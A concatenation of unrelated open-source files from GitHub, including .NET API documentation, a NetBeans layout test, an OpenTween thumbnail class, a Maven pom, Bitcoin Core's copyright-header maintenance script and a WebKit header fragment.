<AssemblyVersion>4.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.String</ReturnType>
</ReturnValue>
<Docs>
<value>To be added.</value>
<remarks>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>This property represents the presentation layer that uses the <see cref="T:System.ComponentModel.DataAnnotations.UIHintAttribute" /> class. This property can be set to "HTML", "Silverlight", "WPF", or "WinForms".</para>
</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Gets or sets the presentation layer that uses the <see cref="T:System.ComponentModel.DataAnnotations.UIHintAttribute" /> class. </para>
</summary>
</Docs>
</Member>
<Member MemberName="TypeId">
<MemberSignature Language="C#" Value="public override object TypeId { get; }" />
<MemberSignature Language="ILAsm" Value=".property instance object TypeId" />
<MemberType>Property</MemberType>
<AssemblyInfo>
<AssemblyVersion>4.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.Object</ReturnType>
</ReturnValue>
<Docs>
<value>To be added.</value>
<remarks>To be added.</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Gets the unique identifier for the attribute.</para>
</summary>
</Docs>
</Member>
<Member MemberName="UIHint">
<MemberSignature Language="C#" Value="public string UIHint { get; }" />
<MemberSignature Language="ILAsm" Value=".property instance string UIHint" />
<MemberType>Property</MemberType>
<AssemblyInfo>
<AssemblyVersion>4.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.String</ReturnType>
</ReturnValue>
<Docs>
<value>To be added.</value>
<remarks>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>ASP.NET Dynamic Data provides field templates and page templates for rendering data fields in a data model. Field templates are user controls (.ascx files) that are mapped to data fields in the model. You can modify the default user controls that Dynamic Data provides, or you can create a custom user controls to use as field template. If you create a custom user control, you use the <see cref="P:System.ComponentModel.DataAnnotations.UIHintAttribute.UIHint" /> property on a property so that the property is rendered using the custom user control. The <see cref="P:System.ComponentModel.DataAnnotations.UIHintAttribute.UIHint" /> property specifies which field template to use when a specific column is rendered. The <see cref="P:System.ComponentModel.DataAnnotations.UIHintAttribute.UIHint" /> property can point to one of the templates provided in Dynamic Data or to a custom template. For example, you can create a custom field template named RedText_Edit.ascx, and then use the <see cref="P:System.ComponentModel.DataAnnotations.UIHintAttribute.UIHint" /> property to specify that the RedText_Edit.ascx control should be used to render a specified data field instead of the default Text_Edit.ascx template that is provided in Dynamic Data.</para>
<para>The following example shows how to specify that the UnitsInStock column in a database will be rendered by using the specified custom field template.</para>
<para>code reference: DynamicData.CustomFieldTemplate#5</para>
</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Gets or sets the name of the field template to use to display the data field.</para>
</summary>
</Docs>
</Member>
</Members>
</Type> | {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans.swing.tabcontrol.plaf;
import java.awt.Component;
import java.awt.GraphicsEnvironment;
import java.lang.ref.WeakReference;
import java.util.Collections;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import junit.framework.Test;
import junit.framework.TestSuite;
import org.netbeans.junit.NbTestCase;
/**
*
* @author Dafe Simonek
*/
public class StackLayoutTest extends NbTestCase {
public static Test suite() {
return GraphicsEnvironment.isHeadless() ? new TestSuite() : new TestSuite(StackLayoutTest.class);
}
public StackLayoutTest(String testName) {
super(testName);
}
public void test_100486 () throws Exception {
StackLayout layout = new StackLayout();
JPanel panel = new JPanel(layout);
JLabel testLabel = new JLabel("test label");
panel.add(testLabel);
JFrame frame = new JFrame();
frame.getContentPane().add(panel);
layout.showComponent(testLabel, panel);
frame.setVisible(true);
frame.setVisible(false);
frame.getContentPane().remove(panel);
panel = null;
frame = null;
WeakReference<Component> weakTestLabel = new WeakReference<Component>(testLabel);
testLabel = null;
assertGC("visibleComp member of StackLayout still not GCed", weakTestLabel, Collections.singleton(layout));
}
}
| {
"pile_set_name": "Github"
} |
// OpenTween - Client of Twitter
// Copyright (c) 2012 kim_upsilon (@kim_upsilon) <https://upsilo.net/~upsilon/>
// All rights reserved.
//
// This file is part of OpenTween.
//
// This program is free software; you can redistribute it and/or modify it
// under the terms of the GNU General Public License as published by the Free
// Software Foundation; either version 3 of the License, or (at your option)
// any later version.
//
// This program is distributed in the hope that it will be useful, but
// WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
// or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
// for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program. If not, see <http://www.gnu.org/licenses/>, or write to
// the Free Software Foundation, Inc., 51 Franklin Street - Fifth Floor,
// Boston, MA 02110-1301, USA.
#nullable enable
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Http;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using OpenTween.Connection;
namespace OpenTween.Thumbnail
{
public class ThumbnailInfo : IEquatable<ThumbnailInfo>
{
/// <summary>サムネイルとして表示するメディアが掲載されている URL</summary>
/// <remarks>
/// 例えば Youtube のサムネイルの場合、動画そのものの URL ではなく
/// https://www.youtube.com/watch?v=****** 形式の URL が含まれる
/// </remarks>
public string MediaPageUrl { get; set; } = "";
/// <summary>サムネイルとして表示する画像の URL</summary>
/// <remarks>
/// ここに含まれる URL は直接画像として表示可能である必要がある
/// </remarks>
public string ThumbnailImageUrl { get; set; } = "";
/// <summary>最も高解像度な画像の URL</summary>
/// <remarks>
/// サムネイルとしては不適だが、より高解像度な画像を表示する場面に使用できる
/// URL があればここに含まれる
/// </remarks>
public string? FullSizeImageUrl { get; set; }
/// <summary>ツールチップとして表示するテキスト</summary>
/// <remarks>
/// サムネイル画像にマウスオーバーした際に表示されるテキスト
/// </remarks>
public string? TooltipText { get; set; }
/// <summary>
/// 対象となるメディアが動画や音声など再生可能なものであるか否か
/// </summary>
public bool IsPlayable { get; set; }
public Task<MemoryImage> LoadThumbnailImageAsync()
=> this.LoadThumbnailImageAsync(CancellationToken.None);
public Task<MemoryImage> LoadThumbnailImageAsync(CancellationToken cancellationToken)
=> this.LoadThumbnailImageAsync(Networking.Http, cancellationToken);
public async virtual Task<MemoryImage> LoadThumbnailImageAsync(HttpClient http, CancellationToken cancellationToken)
{
MemoryImage? image = null;
try
{
using var response = await http.GetAsync(this.ThumbnailImageUrl, cancellationToken)
.ConfigureAwait(false);
response.EnsureSuccessStatusCode();
using var imageStream = await response.Content.ReadAsStreamAsync()
.ConfigureAwait(false);
image = await MemoryImage.CopyFromStreamAsync(imageStream)
.ConfigureAwait(false);
cancellationToken.ThrowIfCancellationRequested();
return image;
}
catch (OperationCanceledException)
{
image?.Dispose();
throw;
}
}
public override bool Equals(object? obj)
=> this.Equals(obj as ThumbnailInfo);
public bool Equals(ThumbnailInfo? other)
=> other != null &&
other.MediaPageUrl == this.MediaPageUrl &&
other.ThumbnailImageUrl == this.ThumbnailImageUrl &&
other.TooltipText == this.TooltipText &&
other.FullSizeImageUrl == this.FullSizeImageUrl &&
other.IsPlayable == this.IsPlayable;
public override int GetHashCode()
=> this.MediaPageUrl.GetHashCode() ^ this.ThumbnailImageUrl.GetHashCode();
}
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>opencast-asset-manager-api</artifactId>
<name>Opencast :: asset-manager-api</name>
<packaging>bundle</packaging>
<parent>
<groupId>org.opencastproject</groupId>
<artifactId>base</artifactId>
<version>9-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
<properties>
<opencast.basedir>${project.basedir}/../..</opencast.basedir>
<checkstyle.skip>false</checkstyle.skip>
</properties>
<dependencies>
<dependency>
<groupId>com.entwinemedia.common</groupId>
<artifactId>functional</artifactId>
</dependency>
<dependency>
<groupId>com.google.code.findbugs</groupId>
<artifactId>jsr305</artifactId>
</dependency>
<dependency>
<groupId>org.opencastproject</groupId>
<artifactId>opencast-common</artifactId>
<version>${project.version}</version>
</dependency>
<!--
- unit tests
-->
<!--
- Parameterized tests for JUnit
- https://github.com/Pragmatists/JUnitParams
-->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>pl.pragmatists</groupId>
<artifactId>JUnitParams</artifactId>
<version>1.0.4</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.hamcrest</groupId>
<artifactId>hamcrest</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-dependency-plugin</artifactId>
</plugin>
<plugin>
<groupId>org.apache.felix</groupId>
<artifactId>maven-bundle-plugin</artifactId>
<extensions>true</extensions>
<configuration>
<instructions>
<Bundle-SymbolicName>${project.artifactId}</Bundle-SymbolicName>
<Build-Number>${buildNumber}</Build-Number>
<Export-Package>
org.opencastproject.assetmanager.api;version=${project.version},
org.opencastproject.assetmanager.api.fn;version=${project.version},
org.opencastproject.assetmanager.api.query;version=${project.version}
</Export-Package>
<Private-Package>
javax.annotation*
</Private-Package>
</instructions>
</configuration>
</plugin>
</plugins>
</build>
</project>
| {
"pile_set_name": "Github"
} |
package eu.f3rog.blade.compiler.builder;
import java.io.IOException;
import eu.f3rog.blade.compiler.util.ProcessorError;
/**
* Interface {@link IBuildable}
*
* @author FrantisekGazo
* @version 2015-12-15
*/
public interface IBuildable {
/**
* Create java class file.
*/
void build() throws ProcessorError, IOException;
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python3
# Copyright (c) 2016-2018 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
import re
import fnmatch
import sys
import subprocess
import datetime
import os
################################################################################
# file filtering
################################################################################
EXCLUDE = [
# libsecp256k1:
'src/secp256k1/include/secp256k1.h',
'src/secp256k1/include/secp256k1_ecdh.h',
'src/secp256k1/include/secp256k1_recovery.h',
'src/secp256k1/include/secp256k1_schnorr.h',
'src/secp256k1/src/java/org_bitcoin_NativeSecp256k1.c',
'src/secp256k1/src/java/org_bitcoin_NativeSecp256k1.h',
'src/secp256k1/src/java/org_bitcoin_Secp256k1Context.c',
'src/secp256k1/src/java/org_bitcoin_Secp256k1Context.h',
# univalue:
'src/univalue/test/object.cpp',
'src/univalue/lib/univalue_escapes.h',
# auto generated:
'src/qt/bitcoinstrings.cpp',
'src/chainparamsseeds.h',
# other external copyrights:
'src/tinyformat.h',
'src/leveldb/util/env_win.cc',
'src/crypto/ctaes/bench.c',
'test/functional/test_framework/bignum.py',
# python init:
'*__init__.py',
]
EXCLUDE_COMPILED = re.compile('|'.join([fnmatch.translate(m) for m in EXCLUDE]))
INCLUDE = ['*.h', '*.cpp', '*.cc', '*.c', '*.py']
INCLUDE_COMPILED = re.compile('|'.join([fnmatch.translate(m) for m in INCLUDE]))
def applies_to_file(filename):
return ((EXCLUDE_COMPILED.match(filename) is None) and
(INCLUDE_COMPILED.match(filename) is not None))
################################################################################
# obtain list of files in repo according to INCLUDE and EXCLUDE
################################################################################
GIT_LS_CMD = 'git ls-files'
def call_git_ls():
out = subprocess.check_output(GIT_LS_CMD.split(' '))
return [f for f in out.decode("utf-8").split('\n') if f != '']
def get_filenames_to_examine():
filenames = call_git_ls()
return sorted([filename for filename in filenames if
applies_to_file(filename)])
################################################################################
# define and compile regexes for the patterns we are looking for
################################################################################
COPYRIGHT_WITH_C = 'Copyright \(c\)'
COPYRIGHT_WITHOUT_C = 'Copyright'
ANY_COPYRIGHT_STYLE = '(%s|%s)' % (COPYRIGHT_WITH_C, COPYRIGHT_WITHOUT_C)
YEAR = "20[0-9][0-9]"
YEAR_RANGE = '(%s)(-%s)?' % (YEAR, YEAR)
YEAR_LIST = '(%s)(, %s)+' % (YEAR, YEAR)
ANY_YEAR_STYLE = '(%s|%s)' % (YEAR_RANGE, YEAR_LIST)
ANY_COPYRIGHT_STYLE_OR_YEAR_STYLE = ("%s %s" % (ANY_COPYRIGHT_STYLE,
ANY_YEAR_STYLE))
ANY_COPYRIGHT_COMPILED = re.compile(ANY_COPYRIGHT_STYLE_OR_YEAR_STYLE)
def compile_copyright_regex(copyright_style, year_style, name):
return re.compile('%s %s %s' % (copyright_style, year_style, name))
EXPECTED_HOLDER_NAMES = [
"Satoshi Nakamoto\n",
"The Bitcoin Core developers\n",
"The Bitcoin Core developers \n",
"Bitcoin Core Developers\n",
"the Bitcoin Core developers\n",
"The Bitcoin developers\n",
"The LevelDB Authors\. All rights reserved\.\n",
"BitPay Inc\.\n",
"BitPay, Inc\.\n",
"University of Illinois at Urbana-Champaign\.\n",
"MarcoFalke\n",
"Pieter Wuille\n",
"Pieter Wuille +\*\n",
"Pieter Wuille, Gregory Maxwell +\*\n",
"Pieter Wuille, Andrew Poelstra +\*\n",
"Andrew Poelstra +\*\n",
"Wladimir J. van der Laan\n",
"Jeff Garzik\n",
"Diederik Huys, Pieter Wuille +\*\n",
"Thomas Daede, Cory Fields +\*\n",
"Jan-Klaas Kollhof\n",
"Sam Rushing\n",
"ArtForz -- public domain half-a-node\n",
]
DOMINANT_STYLE_COMPILED = {}
YEAR_LIST_STYLE_COMPILED = {}
WITHOUT_C_STYLE_COMPILED = {}
for holder_name in EXPECTED_HOLDER_NAMES:
DOMINANT_STYLE_COMPILED[holder_name] = (
compile_copyright_regex(COPYRIGHT_WITH_C, YEAR_RANGE, holder_name))
YEAR_LIST_STYLE_COMPILED[holder_name] = (
compile_copyright_regex(COPYRIGHT_WITH_C, YEAR_LIST, holder_name))
WITHOUT_C_STYLE_COMPILED[holder_name] = (
compile_copyright_regex(COPYRIGHT_WITHOUT_C, ANY_YEAR_STYLE,
holder_name))
################################################################################
# search file contents for copyright message of particular category
################################################################################
def get_count_of_copyrights_of_any_style_any_holder(contents):
return len(ANY_COPYRIGHT_COMPILED.findall(contents))
def file_has_dominant_style_copyright_for_holder(contents, holder_name):
match = DOMINANT_STYLE_COMPILED[holder_name].search(contents)
return match is not None
def file_has_year_list_style_copyright_for_holder(contents, holder_name):
match = YEAR_LIST_STYLE_COMPILED[holder_name].search(contents)
return match is not None
def file_has_without_c_style_copyright_for_holder(contents, holder_name):
match = WITHOUT_C_STYLE_COMPILED[holder_name].search(contents)
return match is not None
################################################################################
# get file info
################################################################################
def read_file(filename):
return open(os.path.abspath(filename), 'r', encoding="utf8").read()
def gather_file_info(filename):
info = {}
info['filename'] = filename
c = read_file(filename)
info['contents'] = c
info['all_copyrights'] = get_count_of_copyrights_of_any_style_any_holder(c)
info['classified_copyrights'] = 0
info['dominant_style'] = {}
info['year_list_style'] = {}
info['without_c_style'] = {}
for holder_name in EXPECTED_HOLDER_NAMES:
has_dominant_style = (
file_has_dominant_style_copyright_for_holder(c, holder_name))
has_year_list_style = (
file_has_year_list_style_copyright_for_holder(c, holder_name))
has_without_c_style = (
file_has_without_c_style_copyright_for_holder(c, holder_name))
info['dominant_style'][holder_name] = has_dominant_style
info['year_list_style'][holder_name] = has_year_list_style
info['without_c_style'][holder_name] = has_without_c_style
if has_dominant_style or has_year_list_style or has_without_c_style:
info['classified_copyrights'] = info['classified_copyrights'] + 1
return info
################################################################################
# report execution
################################################################################
SEPARATOR = '-'.join(['' for _ in range(80)])
def print_filenames(filenames, verbose):
if not verbose:
return
for filename in filenames:
print("\t%s" % filename)
def print_report(file_infos, verbose):
print(SEPARATOR)
examined = [i['filename'] for i in file_infos]
print("%d files examined according to INCLUDE and EXCLUDE fnmatch rules" %
len(examined))
print_filenames(examined, verbose)
print(SEPARATOR)
print('')
zero_copyrights = [i['filename'] for i in file_infos if
i['all_copyrights'] == 0]
print("%4d with zero copyrights" % len(zero_copyrights))
print_filenames(zero_copyrights, verbose)
one_copyright = [i['filename'] for i in file_infos if
i['all_copyrights'] == 1]
print("%4d with one copyright" % len(one_copyright))
print_filenames(one_copyright, verbose)
two_copyrights = [i['filename'] for i in file_infos if
i['all_copyrights'] == 2]
print("%4d with two copyrights" % len(two_copyrights))
print_filenames(two_copyrights, verbose)
three_copyrights = [i['filename'] for i in file_infos if
i['all_copyrights'] == 3]
print("%4d with three copyrights" % len(three_copyrights))
print_filenames(three_copyrights, verbose)
four_or_more_copyrights = [i['filename'] for i in file_infos if
i['all_copyrights'] >= 4]
print("%4d with four or more copyrights" % len(four_or_more_copyrights))
print_filenames(four_or_more_copyrights, verbose)
print('')
print(SEPARATOR)
print('Copyrights with dominant style:\ne.g. "Copyright (c)" and '
'"<year>" or "<startYear>-<endYear>":\n')
for holder_name in EXPECTED_HOLDER_NAMES:
dominant_style = [i['filename'] for i in file_infos if
i['dominant_style'][holder_name]]
if len(dominant_style) > 0:
print("%4d with '%s'" % (len(dominant_style),
holder_name.replace('\n', '\\n')))
print_filenames(dominant_style, verbose)
print('')
print(SEPARATOR)
print('Copyrights with year list style:\ne.g. "Copyright (c)" and '
'"<year1>, <year2>, ...":\n')
for holder_name in EXPECTED_HOLDER_NAMES:
year_list_style = [i['filename'] for i in file_infos if
i['year_list_style'][holder_name]]
if len(year_list_style) > 0:
print("%4d with '%s'" % (len(year_list_style),
holder_name.replace('\n', '\\n')))
print_filenames(year_list_style, verbose)
print('')
print(SEPARATOR)
print('Copyrights with no "(c)" style:\ne.g. "Copyright" and "<year>" or '
'"<startYear>-<endYear>":\n')
for holder_name in EXPECTED_HOLDER_NAMES:
without_c_style = [i['filename'] for i in file_infos if
i['without_c_style'][holder_name]]
if len(without_c_style) > 0:
print("%4d with '%s'" % (len(without_c_style),
holder_name.replace('\n', '\\n')))
print_filenames(without_c_style, verbose)
print('')
print(SEPARATOR)
unclassified_copyrights = [i['filename'] for i in file_infos if
i['classified_copyrights'] < i['all_copyrights']]
print("%d with unexpected copyright holder names" %
len(unclassified_copyrights))
print_filenames(unclassified_copyrights, verbose)
print(SEPARATOR)
def exec_report(base_directory, verbose):
original_cwd = os.getcwd()
os.chdir(base_directory)
filenames = get_filenames_to_examine()
file_infos = [gather_file_info(f) for f in filenames]
print_report(file_infos, verbose)
os.chdir(original_cwd)
################################################################################
# report cmd
################################################################################
REPORT_USAGE = """
Produces a report of all copyright header notices found inside the source files
of a repository.
Usage:
$ ./copyright_header.py report <base_directory> [verbose]
Arguments:
<base_directory> - The base directory of a bitcoin source code repository.
[verbose] - Includes a list of every file of each subcategory in the report.
"""
def report_cmd(argv):
if len(argv) == 2:
sys.exit(REPORT_USAGE)
base_directory = argv[2]
if not os.path.exists(base_directory):
sys.exit("*** bad <base_directory>: %s" % base_directory)
if len(argv) == 3:
verbose = False
elif argv[3] == 'verbose':
verbose = True
else:
sys.exit("*** unknown argument: %s" % argv[2])
exec_report(base_directory, verbose)
################################################################################
# query git for year of last change
################################################################################
GIT_LOG_CMD = "git log --pretty=format:%%ai %s"
def call_git_log(filename):
out = subprocess.check_output((GIT_LOG_CMD % filename).split(' '))
return out.decode("utf-8").split('\n')
def get_git_change_years(filename):
git_log_lines = call_git_log(filename)
if len(git_log_lines) == 0:
return [datetime.date.today().year]
# timestamp is in ISO 8601 format. e.g. "2016-09-05 14:25:32 -0600"
return [line.split(' ')[0].split('-')[0] for line in git_log_lines]
def get_most_recent_git_change_year(filename):
return max(get_git_change_years(filename))
################################################################################
# read and write to file
################################################################################
def read_file_lines(filename):
f = open(os.path.abspath(filename), 'r', encoding="utf8")
file_lines = f.readlines()
f.close()
return file_lines
def write_file_lines(filename, file_lines):
f = open(os.path.abspath(filename), 'w', encoding="utf8")
f.write(''.join(file_lines))
f.close()
################################################################################
# update header years execution
################################################################################
COPYRIGHT = 'Copyright \(c\)'
YEAR = "20[0-9][0-9]"
YEAR_RANGE = '(%s)(-%s)?' % (YEAR, YEAR)
HOLDER = 'The Bitcoin Core developers'
UPDATEABLE_LINE_COMPILED = re.compile(' '.join([COPYRIGHT, YEAR_RANGE, HOLDER]))
def get_updatable_copyright_line(file_lines):
index = 0
for line in file_lines:
if UPDATEABLE_LINE_COMPILED.search(line) is not None:
return index, line
index = index + 1
return None, None
def parse_year_range(year_range):
year_split = year_range.split('-')
start_year = year_split[0]
if len(year_split) == 1:
return start_year, start_year
return start_year, year_split[1]
def year_range_to_str(start_year, end_year):
if start_year == end_year:
return start_year
return "%s-%s" % (start_year, end_year)
def create_updated_copyright_line(line, last_git_change_year):
copyright_splitter = 'Copyright (c) '
copyright_split = line.split(copyright_splitter)
# Preserve characters on line that are ahead of the start of the copyright
# notice - they are part of the comment block and vary from file-to-file.
before_copyright = copyright_split[0]
after_copyright = copyright_split[1]
space_split = after_copyright.split(' ')
year_range = space_split[0]
start_year, end_year = parse_year_range(year_range)
if end_year == last_git_change_year:
return line
return (before_copyright + copyright_splitter +
year_range_to_str(start_year, last_git_change_year) + ' ' +
' '.join(space_split[1:]))
def update_updatable_copyright(filename):
file_lines = read_file_lines(filename)
index, line = get_updatable_copyright_line(file_lines)
if not line:
print_file_action_message(filename, "No updatable copyright.")
return
last_git_change_year = get_most_recent_git_change_year(filename)
new_line = create_updated_copyright_line(line, last_git_change_year)
if line == new_line:
print_file_action_message(filename, "Copyright up-to-date.")
return
file_lines[index] = new_line
write_file_lines(filename, file_lines)
print_file_action_message(filename,
"Copyright updated! -> %s" % last_git_change_year)
def exec_update_header_year(base_directory):
original_cwd = os.getcwd()
os.chdir(base_directory)
for filename in get_filenames_to_examine():
update_updatable_copyright(filename)
os.chdir(original_cwd)
################################################################################
# update cmd
################################################################################
UPDATE_USAGE = """
Updates all the copyright headers of "The Bitcoin Core developers" which were
changed in a year more recent than is listed. For example:
// Copyright (c) <firstYear>-<lastYear> The Bitcoin Core developers
will be updated to:
// Copyright (c) <firstYear>-<lastModifiedYear> The Bitcoin Core developers
where <lastModifiedYear> is obtained from the 'git log' history.
This subcommand also handles copyright headers that have only a single year. In those cases:
// Copyright (c) <year> The Bitcoin Core developers
will be updated to:
// Copyright (c) <year>-<lastModifiedYear> The Bitcoin Core developers
where the update is appropriate.
Usage:
$ ./copyright_header.py update <base_directory>
Arguments:
<base_directory> - The base directory of a bitcoin source code repository.
"""
def print_file_action_message(filename, action):
print("%-52s %s" % (filename, action))
def update_cmd(argv):
if len(argv) != 3:
sys.exit(UPDATE_USAGE)
base_directory = argv[2]
if not os.path.exists(base_directory):
sys.exit("*** bad base_directory: %s" % base_directory)
exec_update_header_year(base_directory)
################################################################################
# inserted copyright header format
################################################################################
def get_header_lines(header, start_year, end_year):
lines = header.split('\n')[1:-1]
lines[0] = lines[0] % year_range_to_str(start_year, end_year)
return [line + '\n' for line in lines]
CPP_HEADER = '''
// Copyright (c) %s The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
'''
def get_cpp_header_lines_to_insert(start_year, end_year):
return reversed(get_header_lines(CPP_HEADER, start_year, end_year))
PYTHON_HEADER = '''
# Copyright (c) %s The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
'''
def get_python_header_lines_to_insert(start_year, end_year):
return reversed(get_header_lines(PYTHON_HEADER, start_year, end_year))
################################################################################
# query git for year of last change
################################################################################
def get_git_change_year_range(filename):
years = get_git_change_years(filename)
return min(years), max(years)
################################################################################
# check for existing core copyright
################################################################################
def file_already_has_core_copyright(file_lines):
index, _ = get_updatable_copyright_line(file_lines)
return index != None
################################################################################
# insert header execution
################################################################################
def file_has_hashbang(file_lines):
if len(file_lines) < 1:
return False
if len(file_lines[0]) <= 2:
return False
return file_lines[0][:2] == '#!'
def insert_python_header(filename, file_lines, start_year, end_year):
if file_has_hashbang(file_lines):
insert_idx = 1
else:
insert_idx = 0
header_lines = get_python_header_lines_to_insert(start_year, end_year)
for line in header_lines:
file_lines.insert(insert_idx, line)
write_file_lines(filename, file_lines)
def insert_cpp_header(filename, file_lines, start_year, end_year):
header_lines = get_cpp_header_lines_to_insert(start_year, end_year)
for line in header_lines:
file_lines.insert(0, line)
write_file_lines(filename, file_lines)
def exec_insert_header(filename, style):
file_lines = read_file_lines(filename)
if file_already_has_core_copyright(file_lines):
sys.exit('*** %s already has a copyright by The Bitcoin Core developers'
% (filename))
start_year, end_year = get_git_change_year_range(filename)
if style == 'python':
insert_python_header(filename, file_lines, start_year, end_year)
else:
insert_cpp_header(filename, file_lines, start_year, end_year)
################################################################################
# insert cmd
################################################################################
INSERT_USAGE = """
Inserts a copyright header for "The Bitcoin Core developers" at the top of the
file in either Python or C++ style as determined by the file extension. If the
file is a Python file and it has a '#!' starting the first line, the header is
inserted in the line below it.
The copyright dates will be set to be:
"<year_introduced>-<current_year>"
where <year_introduced> is according to the 'git log' history. If
<year_introduced> is equal to <current_year>, the date will be set to be:
"<current_year>"
If the file already has a copyright for "The Bitcoin Core developers", the
script will exit.
Usage:
$ ./copyright_header.py insert <file>
Arguments:
<file> - A source file in the bitcoin repository.
"""
def insert_cmd(argv):
if len(argv) != 3:
sys.exit(INSERT_USAGE)
filename = argv[2]
if not os.path.isfile(filename):
sys.exit("*** bad filename: %s" % filename)
_, extension = os.path.splitext(filename)
if extension not in ['.h', '.cpp', '.cc', '.c', '.py']:
sys.exit("*** cannot insert for file extension %s" % extension)
if extension == '.py':
style = 'python'
else:
style = 'cpp'
exec_insert_header(filename, style)
################################################################################
# UI
################################################################################
USAGE = """
copyright_header.py - utilities for managing copyright headers of 'The Bitcoin
Core developers' in repository source files.
Usage:
$ ./copyright_header <subcommand>
Subcommands:
report
update
insert
To see subcommand usage, run them without arguments.
"""
SUBCOMMANDS = ['report', 'update', 'insert']
if __name__ == "__main__":
if len(sys.argv) == 1:
sys.exit(USAGE)
subcommand = sys.argv[1]
if subcommand not in SUBCOMMANDS:
sys.exit(USAGE)
if subcommand == 'report':
report_cmd(sys.argv)
elif subcommand == 'update':
update_cmd(sys.argv)
elif subcommand == 'insert':
insert_cmd(sys.argv)
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "self:PlusOneSecond.xcodeproj">
</FileRef>
</Workspace>
| {
"pile_set_name": "Github"
} |
/*
* Copyright © 2019 Atomist, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { Success } from "@atomist/automation-client/lib/HandlerResult";
import { SlackMessage } from "@atomist/slack-messages";
import { ExecuteGoalResult } from "../../api/goal/ExecuteGoalResult";
import {
ExecuteGoal,
GoalInvocation,
} from "../../api/goal/GoalInvocation";
/***
* Execute a goal by sending a message to the linked Slack channels
* @param {string | SlackMessage} msg
* @return {ExecuteGoal}
*/
export function executeSendMessageToSlack(msg: string | SlackMessage): ExecuteGoal {
return async (goalInvocation: GoalInvocation): Promise<ExecuteGoalResult> => {
await goalInvocation.addressChannels(msg);
return Success;
};
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2011-2017 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of Apple Inc. ("Apple") nor the names of
* its contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#include "CPU.h"
#include "JSCJSValue.h"
#include "TypedArrayType.h"
#include <wtf/PrintStream.h>
namespace JSC {
class Structure;
typedef uint64_t SpeculatedType;
static const SpeculatedType SpecNone = 0; // We don't know anything yet.
